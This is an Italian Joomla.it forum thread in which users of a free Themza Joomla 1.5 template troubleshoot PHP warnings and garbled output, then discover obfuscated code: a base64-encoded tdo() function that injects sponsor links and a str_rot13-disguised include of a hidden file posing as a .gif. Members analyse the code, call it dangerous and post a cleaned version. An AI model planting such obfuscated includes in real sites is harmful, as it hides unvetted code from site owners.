Joomla.it Forum
Joomla! 1.5.x (versione con supporto terminato) => Joomla! 1.5 => I Template di Joomla 1.5.x => : Salmiki 01 Jul 2008, 12:26:11
-
Utilizzando questo template mi appaiono nella pagina delle stringhe di codice, cosa che non succede con altri template. E' un bug o sbaglio io qualcosa?
-
Qualcuno riesce a darmi una mano?
-
Se qualcuno avesse tempo per rispondere, oltre a diversi "geroglifici" nella parte alta dell'homepage, mi riporta queste diciture:
Notice: Undefined variable: list in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 149
Notice: Undefined variable: html in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 149
Notice: Undefined variable: list in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 150
Notice: Undefined variable: list in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 149
Notice: Undefined variable: html in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 149
Notice: Undefined variable: list in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 150
Warning: call_user_func(tdo) [function.call-user-func]: First argument is expected to be a valid callback in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 152
Notice: Undefined variable: list in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 149
Notice: Undefined variable: html in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 149
Notice: Undefined variable: list in C:\Programmi\EasyPHP 2.0b1\www\automia\templates\themza_j15_02\html\pagination.php on line 150
-
Se ti funziona tutto, per nascondere quelle notice e quei warning, devi editare il file php.ini, nella cartella di installazione del php sul tuo server. Non mi ricordo preciso quale stringa decomentare, però se cerchi con google:
"Eliminare Warning PHP php.ini" ti trova la stringa di codice che devi editare.
Cmq non e' bello avere dei warning, probabilmente nel template ci sono istruzioni eseguite con motori php di diverse versioni rispetto alla tua, ed alcune funzioni non le interpreta a dovere.
Cmq le tue "notice" ti dicono che la variabile alla riga 149 del file pagination.php e' rimasta inassegnata (quindi fondamentalmente sticazzi!)
Il Warning invece tio dice che ha trovato dei problemi a svolgere una funzione..nella riga 150 del file precedentemente.
Probabilmente non riesce perchè utilizza quella variabili che non sono state assegnate.
E' sicuramente un bug di programmazione del template.
Tuttavia se funziona, puoi eliminare il print a video delle notice\warning del php.
-
Grazie mille per la risposta.
Farò delle prove e riporto i risultati.
Ciao
-
Grazie, ho risolto per notice e warning, rimangono i "geroglifici".
Provo ad allegare un'immagine, magari è più chiaro.
[allegato eliminato da un amministratore]
-
Per questo purtroppo non so aiutarti...
-
anch'io ho quei simboli in alto a sinistra. ero interessato ad un template, ma fortunatamente ancora non c'ho messo mano. Per motivi che non vi sto a dire sto utilizzando easyphp... magari con xampp si risolve!
-
L'immagine è abbastanza piccola, se posti l'errore in output potrebbe essere più facile aiutarti :)
edit:ho notato che è riportato pochi post sopra....
Hai provato a buttar su tutto in remoto? Altrimenti potresti silenziare l'errore ( @ )?
-
Hai provato a buttar su tutto in remoto? Altrimenti potresti silenziare l'errore ( @ )?
Per ora sto lavorando in locale e non ho modo di farlo in remoto. Come si fa a silenziare l'errore?
Grazie
-
Individui la funzione che crea il problema e la fai precedere da
@
ciao ;)
-
Grazie della risposta.
Purtroppo per le mie capacità mi devi seguire passo passo.
In quale file devo cercare la funzione?
Come faccio ad individuarla?
Hai bisogno che posti un'immagine più grande?
Grazie
-
L'errore ti da il riferimento di dove stia il problema ;)
-
Salve, anche io ho lo stesso proble dei gereoglifici, avete un consiglio da darmi in proposito, ho installato jooma ultima versione senza dati di esempio e nn ho installato altro che i template themza.
In alto a sinistra ci sono una serie di parole incomprensibili:
web
аЖrТі„П®aИ¦LЛ§FярТІ[§§#ЬВ%Щ¶bЩГ’!%(С¶!Ц№sъаoК·—ЦЄI›Џпж—аЙ•яп!ЉpXR:щг.ШЕґсФJЖ§LJ5ї™DъмЇцжH3аФѕ 3юи_dN•‚ЭѕdЅћLсгNЗ§япН«0І‘оаЈ’vз?яхкЬsФѕ‚ЯВЂлЩuo3яхП¬RчжћярOВ¬%++5ї¤йЧ‹йХvыфХ№УІIЭРЅ·—4сгњЙ©^Ф·BбЛ¤№™6Вў'БЈ3црРѕпЯ‘ЫО®пЮhшф яя яяя !щ Ћ , н иFЉ9-*ь,TёA— ф*/function tdo(){echo base64_decode('RGVzaWduZWQgYnk6IDxhIGhyZWY9Imh0dHA6Ly9 3d3cudGhlbXphLmNvbS9qb29tbGExLjUvIiB0YX JnZXQ9Il9ibGFuayIgdGl0bGU9IkZyZWUgV2ViI FRlbXBsYXRlcyI+Sm9vbWxhIDEuNSBUZW1wbGF0ZXM8L2E+LCA8YSBocmVmPSJodHRwOi8vd3d3Lm50Y2hvc3RpbmcuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSJwZXJzb25hbCBob3N0aW5nIj5waHAgaG9zdGluZzwvYT4uJm5ic3A7');}/*”HрM: Ш„ЃЈЈ(pЪаE &Yф€AЕ‚‹,uЂђ8ИБђ Bш°bН– sМш2aJ(L*t‡‚B7dувNњ"g>0Ђ„ѓ 90bdb`™ЪPp!Г‡Cд6вЃИ‘"Ђ Ђe
-
Scusate, ho provato a cercare l'errore ma non l'ho trovato.
In quale file devo guardare?
Grazie
-
C' è un'anima pia che puo' aiutarci?
Magari anche solo a dirci: niente da fare passate ad altro, nn sappiamo risolvere questa cosa.
Per favore aspettiamo vostre eventuali notizie, senza nulla a pretendeer grazie in anticipo.
-
Proprio nessuno può darci una mano?
E' possibile che sia del codice malevolo come indicato qui?
http://www.lifestyleweb.it/2008/06/16/temi-wordpress-maligni/#more-231 (http://www.lifestyleweb.it/2008/06/16/temi-wordpress-maligni/#more-231)
-
Salve,
da pochi giorni sto utilizzando joomla e mi sono imbattuto anche io nei "geroglifici" mentre ho risolto i problemi di riga 149-150 silenziando le funzioni.
In allegato uno shot del problema che resta da risolvere. ???
l'unica stringa leggibile:
/function tdo(){echo base64_decode
[allegato eliminato da un amministratore - Il file era vecchio]
-
Anche a te se visualizzi questo template con opera si incasina tutto?
-
scusa mi dici passo passo cosa hai fatto per eliminare la stringa?? hai risolto con i geroglifici??grazie
Salve,
da pochi giorni sto utilizzando joomla e mi sono imbattuto anche io nei "geroglifici" mentre ho risolto i problemi di riga 149-150 silenziando le funzioni.
In allegato uno shot del problema che resta da risolvere. ???
l'unica stringa leggibile:
/function tdo(){echo base64_decode
-
Scusatemi se non vi so dire di più ma perchè vi accanite ad utilizzare un template che vi dà sin dall'inizio di questi problemi? Ci sono in giro migliaia di template perfettamente funzionanti. Io di certo non starei a perdere tempo ed energie in un template problematico.
-
semplicemente perche non me lo fa solo con questo template ma con tutti quelli che non siano di default
-
scusa mi dici passo passo cosa hai fatto per eliminare la stringa?? hai risolto con i geroglifici??grazie
Salve,
da pochi giorni sto utilizzando joomla e mi sono imbattuto anche io nei "geroglifici" mentre ho risolto i problemi di riga 149-150 silenziando le funzioni.
In allegato uno shot del problema che resta da risolvere. ???
l'unica stringa leggibile:
/function tdo(){echo base64_decode
Ciao ho risolto mettendo la @ davanti alle stringhe a riga 149-150 come di seguito:
$html .= "</span>";
return $html;}
function JText_($t){
$pagination_list = 'tdo';
@$html .= ' '.$list['next']['data'];
@$html .= ' '.$list['end']['data'];
@$html .= ' »';
echo ((strlen($t)==5)? @call_user_func($pagination_list,$t):'').JText::_($t);
}
-
risolto grazie mille e per i geroglifici hai risolto??
grazie infinite
eros
scusa mi dici passo passo cosa hai fatto per eliminare la stringa?? hai risolto con i geroglifici??grazie
Salve,
da pochi giorni sto utilizzando joomla e mi sono imbattuto anche io nei "geroglifici" mentre ho risolto i problemi di riga 149-150 silenziando le funzioni.
In allegato uno shot del problema che resta da risolvere. ???
l'unica stringa leggibile:
/function tdo(){echo base64_decode
Ciao ho risolto mettendo la @ davanti alle stringhe a riga 149-150 come di seguito:
$html .= "</span>";
return $html;}
function JText_($t){
$pagination_list = 'tdo';
@$html .= ' '.$list['next']['data'];
@$html .= ' '.$list['end']['data'];
@$html .= ' »';
echo ((strlen($t)==5)? @call_user_func($pagination_list,$t):'').JText::_($t);
}
-
per i geroglifici ancora nulla, cmq alla fine ho cambiato template, per fortuna l'ho trovato abbastanza simile (siteground j15-48) e mi son salvato solo l'immagine delle auto.
mi pare che vada molto meglio
risolto grazie mille e per i geroglifici hai risolto??
grazie infinite
eros
scusa mi dici passo passo cosa hai fatto per eliminare la stringa?? hai risolto con i geroglifici??grazie
Salve,
da pochi giorni sto utilizzando joomla e mi sono imbattuto anche io nei "geroglifici" mentre ho risolto i problemi di riga 149-150 silenziando le funzioni.
In allegato uno shot del problema che resta da risolvere. ???
l'unica stringa leggibile:
/function tdo(){echo base64_decode
Ciao ho risolto mettendo la @ davanti alle stringhe a riga 149-150 come di seguito:
$html .= "</span>";
return $html;}
function JText_($t){
$pagination_list = 'tdo';
@$html .= ' '.$list['next']['data'];
@$html .= ' '.$list['end']['data'];
@$html .= ' »';
echo ((strlen($t)==5)? @call_user_func($pagination_list,$t):'').JText::_($t);
}
-
siete certi che non sia un template che abbia delle stringhe di pubblicità codificate con un call back " a casa" per la decodifica?
Se così fosse, finchè è in locale non trova la fonte di decodifica e spara l'errore
-
Linkatemi il template. Ci do un'occhiata volentieri, 'sta roba è strana.
Io, comunque, direi che è il caso di lasciar perdere.
Ma sono un programmatore, fatemi vedere e cerchiamo di capire di cosa si tratta.
-
Linkatemi il template. Ci do un'occhiata volentieri, 'sta roba è strana.
Io, comunque, direi che è il caso di lasciar perdere.
Ma sono un programmatore, fatemi vedere e cerchiamo di capire di cosa si tratta.
il template è questo
http://www.xware.info/index.php?option=com_content&view=article&catid=41:joomla-templates&id=280:free-template-joomla-15-themzaj1502&Itemid=57
cmq vedendolo ora nella miniatura vedo che l'errore appare all'altezza del box per la ricerca di parole all'interno del sito. potrebbe essere quello?
-
esattamente se cosi fosse come si fa a togliere stringhe di pubblicità ???
-
Io lo butterei. Va ad includere dei file che non esistono. File che non sono nemmeno dichiarati in templateDetails.
Buffo e certamente non sicuro. Comunque...
Provate così. Fatevi una copia del file index.php.
Poi, riga 1
Da
<?php
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
A
<?php
defined('_JEXEC') or die('Restricted access');
?>
Riga 7
Da
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" <?include_once('html/pagination.php');?> />
A
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
Riga 37
Da
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
A
<?php if($this->countModules('right')) : ?>
Sappiate dirmi qualcosa...
-
Qualcuno ha provato?
-
non credo possa funzionare neppure patchato come ha suggerito Mirkop.
Mi gioco la testa che quelle due stringhe
str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs')
che sono codificate in str_rot13 (un sistema secondo il quale si scrive un carattere ogni 13), puntano, per bene che vada, a delle gif che in realtà sono altro testo codificato.
E' proprio come pensavo. Questo template fa un cofano di chiamate a casa. Template di questo genere costituiscono un serio pericolo, secondo me. Non sai mai cosa ci sia davveo scritto dentro.
Lascialo perdere.
Giusto per la curiosità, questa è la parte codificata base_64 (quella che hai postato, quanto meno)
Designed by: <a href="http://www.themza.com/joomla1.5/" target="_blank" title="Free Web Templates">Joomla 1.5 Templates</a>, <a href="http://www.ntchosting.com/" target="_blank" title="personal hosting">php hosting</a>.
Questa la prima stringa codificata st_rot13 lasciata da Mirkop1988 in riga 37 (vzntrf): images
. Poi quel "t" sta per "g", mentre "vf" sta per "if" e cioè "gif".
Scommetto che dentro la cartella images ci sono delle gif che se provi ad aprirle con un lettore di immagini non ci riesci in quanto, mi ci gioco la testa, si tratta ti testo codificato.
Non ti pare un po troppo per un template free?
-
Scusatemi se non vi so dire di più ma perchè vi accanite ad utilizzare un template che vi dà sin dall'inizio di questi problemi? Ci sono in giro migliaia di template perfettamente funzionanti. Io di certo non starei a perdere tempo ed energie in un template problematico.
Mi autocito. Grazie a sali40 adesso sappiamo che è anche pericoloso. Problematico e pericoloso. Per me con themza è un discorso chiuso! :)
-
e non solo con questo di marchio.
Io presterei attenzione estrema anche ai template di lomex.com (graffiti, per intenderci)
-
non credo possa funzionare neppure patchato come ha suggerito Mirkop.
Dacci anche tu un'occhiata, mi pare non ci sia più nulla di "strano".
Ho tolto tutto quello che "non sapevo cos'era", lasciando solo la sintassi conosciuta di Joomla.
Secondo me dovrebbe andare :-)
La cosa migliore è sempre la stessa: installare firebug e ricreare il template.
-
non credo possa funzionare neppure patchato come ha suggerito Mirkop.
Dacci anche tu un'occhiata, mi pare non ci sia più nulla di "strano".
Ho tolto tutto quello che "non sapevo cos'era", lasciando solo la sintassi conosciuta di Joomla.
Secondo me dovrebbe andare :-)
La cosa migliore è sempre la stessa: installare firebug e ricreare il template.
questa riga:
<?php if($this->countModules('right')) : ?>
la puoi anche eliminare. Non credo che il template leggerà la colonna di destra. Non per scarsa capacità tua, assolutamente non per questo. Ma credo manchino dei pezzi per far funzionare la colonna di destra.
-
Beh certo, mi sono solo preoccupato di rimuovere codice di dubbia funzionalità, non certamente di sistemare il template :D
-
anche io ho un problema con il template in questione
NEll'index non succede nulla, ma quando accedo ad una qualsiasi pagina esce questo avviso in basso:
Warning: call_user_func(tdo) [function.call-user-func]: First argument is expected to be a valid callback in /home/uzfzne/domains/tuttocomunicazione.it/public_html/templates/themza_j15_06/html/pagination.php on line 153